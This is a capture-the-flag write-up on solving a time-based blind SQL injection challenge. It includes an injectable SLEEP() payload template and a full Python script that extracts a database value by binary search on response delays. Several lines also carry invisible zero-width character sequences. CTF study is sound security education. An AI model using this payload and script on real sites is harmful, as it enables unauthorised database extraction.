← Back to Writeups
CUSTOMMediumWeb

Gondex (Time-based)

XESXOR9/10/20262 min read
#web#custom#medium#binary_search_extraction#time_based_blind_sqli

Gondex (Time-based)

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-03-09 | Status: Solved Techniques: binary_search_extraction, time_based_blind_sqli

Summary

Time-based blind SQL injection task at http://kslweb1.spb.ctf.su/sqli/time1/

Gondex (Time-based) — Web Kids 2.0

Description

Time-based blind SQL injection task at http://kslweb1.spb.ctf.su/sqli/time1/

"Check out brand new search engine!" — a search system that doesn't display query results and doesn't show errors.

Analysis

Classic case of blind SQL injection:

  • Search form accepts user input
  • Query results are not displayed on the page
  • SQL errors are not shown to the user
  • The only information leakage channel is server response time

Technique: use MySQL's SLEEP() function to create a time delay when a condition is true. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Attack Principle

  1. Construct SQL injection with condition IF(condition, SLEEP(N), 0)
  2. If condition is true — server "sleeps" for N seconds
  3. Measure response time — if there's a delay, the condition is true
  4. Use binary search for efficient character extraction

Payload Structure

sql
' AND IF(ASCII(SUBSTRING((SELECT flag FROM secret_table),{position},1))>{mid}, SLEEP(2), 0) --

Extraction Algorithm (Binary Search)

python
#!/usr/bin/env python3
import requests
import time
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

URL = "http://kslweb1.spb.ctf.su/sqli/time1/"
DELAY = 2  # delay in seconds when condition is true

def check_condition(payload):
    """Check condition via time-based SQLi"""
    start = time.time()
    requests.get(URL, params={"search": payload})
    elapsed = time.time() - start
    return elapsed >= DELAY

def extract_char(position, table="secret_table", column="flag"):
    """Extract one character using binary search"""
    low, high = 32, 126  # printable ASCII
    
    while low < high:
        mid = (low + high) // 2
        payload = f"' AND IF(ASCII(SUBSTRING((SELECT {column} FROM {table}),{position},1))>{mid}, SLEEP({DELAY}), 0) -- "
        
        if check_condition(payload):
            low = mid + 1
        else:
            high = mid
    
    return chr(low) if low > 32 else None
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

def extract_flag():
    """Extract the entire flag"""
    flag = ""
    position = 1
    
    while True:
        char = extract_char(position)
        if char is None or char == '\x00':
            break
        flag += char
        print(f"[{position}] {flag}")
        position += 1
        
        # Check for end of flag
        if flag.endswith("}"):
            break
    
    return flag

if __name__ == "__main__":
    print("[*] Starting time-based blind SQLi extraction...")
    flag = extract_flag()
    print(f"\n[+] Flag: {flag}")

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Optimizations

  • Binary search: O(log n) requests per character instead of O(n) with linear search
  • Parallel requests: can extract multiple positions simultaneously
  • Adaptive delay: increase delay on unstable networks ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍